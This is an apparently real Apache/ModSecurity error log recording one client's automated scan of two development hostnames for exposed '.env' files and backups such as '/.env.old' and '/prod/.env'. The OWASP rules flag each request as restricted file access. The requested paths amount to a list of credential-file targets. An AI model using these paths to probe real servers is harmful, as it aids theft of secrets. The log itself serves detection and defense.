[Fri Jul 17 09:14:13.379173 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDfwooI4qY7Jg93pYigAAABM"]
[Fri Jul 17 09:14:13.440958 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/build/.env"] [unique_id "almlDQ7FYe46zHK_jL3S7wAAABk"]
[Fri Jul 17 09:14:13.441266 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/build/.env"] [unique_id "almlDQ7FYe46zHK_jL3S7wAAABk"]
[Fri Jul 17 09:14:13.441535 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDQ7FYe46zHK_jL3S7wAAABk"]
[Fri Jul 17 09:14:13.549733 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almlDQRRrtuZqNDDSqWzJgAAABo"]
[Fri Jul 17 09:14:13.550201 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almlDQRRrtuZqNDDSqWzJgAAABo"]
[Fri Jul 17 09:14:13.551972 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almlDQRRrtuZqNDDSqWzJgAAABo"]
[Fri Jul 17 09:14:13.608391 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dist/.env"] [unique_id "almlDboj0IkvhSCYadmEugAAAAQ"]
[Fri Jul 17 09:14:13.608656 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dist/.env"] [unique_id "almlDboj0IkvhSCYadmEugAAAAQ"]
[Fri Jul 17 09:14:13.608929 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDboj0IkvhSCYadmEugAAAAQ"]
[Fri Jul 17 09:14:13.725842 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:13.776089 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/public_html/.env"] [unique_id "almlDQ5GPQ6hs4VrfMpE3wAAAAY"]
[Fri Jul 17 09:14:13.776356 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/public_html/.env"] [unique_id "almlDQ5GPQ6hs4VrfMpE3wAAAAY"]
[Fri Jul 17 09:14:13.776644 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDQ5GPQ6hs4VrfMpE3wAAAAY"]
[Fri Jul 17 09:14:13.780577 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDQRRrtuZqNDDSqWzJgAAABo"]
[Fri Jul 17 09:14:13.928561 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:13.948560 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/htdocs/.env"] [unique_id "almlDbEKozcCJ-ReuK0F3wAAAAg"]
[Fri Jul 17 09:14:13.948981 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/htdocs/.env"] [unique_id "almlDbEKozcCJ-ReuK0F3wAAAAg"]
[Fri Jul 17 09:14:13.949286 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDbEKozcCJ-ReuK0F3wAAAAg"]
[Fri Jul 17 09:14:13.953240 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.save"] [unique_id "almlDa14q1EBnanVMYGm8QAAAAk"]
[Fri Jul 17 09:14:13.954748 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.save"] [unique_id "almlDa14q1EBnanVMYGm8QAAAAk"]
[Fri Jul 17 09:14:14.118376 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/www/.env"] [unique_id "almlDjsMb3am0TgkjETd0QAAAAo"]
[Fri Jul 17 09:14:14.118647 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/www/.env"] [unique_id "almlDjsMb3am0TgkjETd0QAAAAo"]
[Fri Jul 17 09:14:14.118874 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDjsMb3am0TgkjETd0QAAAAo"]
[Fri Jul 17 09:14:14.129555 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:14.150847 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDa14q1EBnanVMYGm8QAAAAk"]
[Fri Jul 17 09:14:14.285804 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/html/.env"] [unique_id "almlDrEWOaI5pmYo9fnRwQAAAAA"]
[Fri Jul 17 09:14:14.286132 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/html/.env"] [unique_id "almlDrEWOaI5pmYo9fnRwQAAAAA"]
[Fri Jul 17 09:14:14.286407 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDrEWOaI5pmYo9fnRwQAAAAA"]
[Fri Jul 17 09:14:14.335492 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.old"] [unique_id "almlDo1dLClkUfK_dfHnzAAAAAI"]
[Fri Jul 17 09:14:14.335748 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.old"] [unique_id "almlDo1dLClkUfK_dfHnzAAAAAI"]
[Fri Jul 17 09:14:14.336982 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.old"] [unique_id "almlDo1dLClkUfK_dfHnzAAAAAI"]
[Fri Jul 17 09:14:14.457992 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/live/.env"] [unique_id "almlDol9vhFBGA6D8l99FwAAAAw"]
[Fri Jul 17 09:14:14.458274 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/live/.env"] [unique_id "almlDol9vhFBGA6D8l99FwAAAAw"]
[Fri Jul 17 09:14:14.458550 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDol9vhFBGA6D8l99FwAAAAw"]
[Fri Jul 17 09:14:14.625721 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/prod/.env"] [unique_id "almlDjsMb3am0TgkjETd0gAAAAo"]
[Fri Jul 17 09:14:14.625984 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/prod/.env"] [unique_id "almlDjsMb3am0TgkjETd0gAAAAo"]
[Fri Jul 17 09:14:14.626303 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDjsMb3am0TgkjETd0gAAAAo"]
[Fri Jul 17 09:14:14.658238 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:14.666159 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDo1dLClkUfK_dfHnzAAAAAI"]
[Fri Jul 17 09:14:14.795341 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dev/.env"] [unique_id "almlDrEWOaI5pmYo9fnRwgAAAAA"]
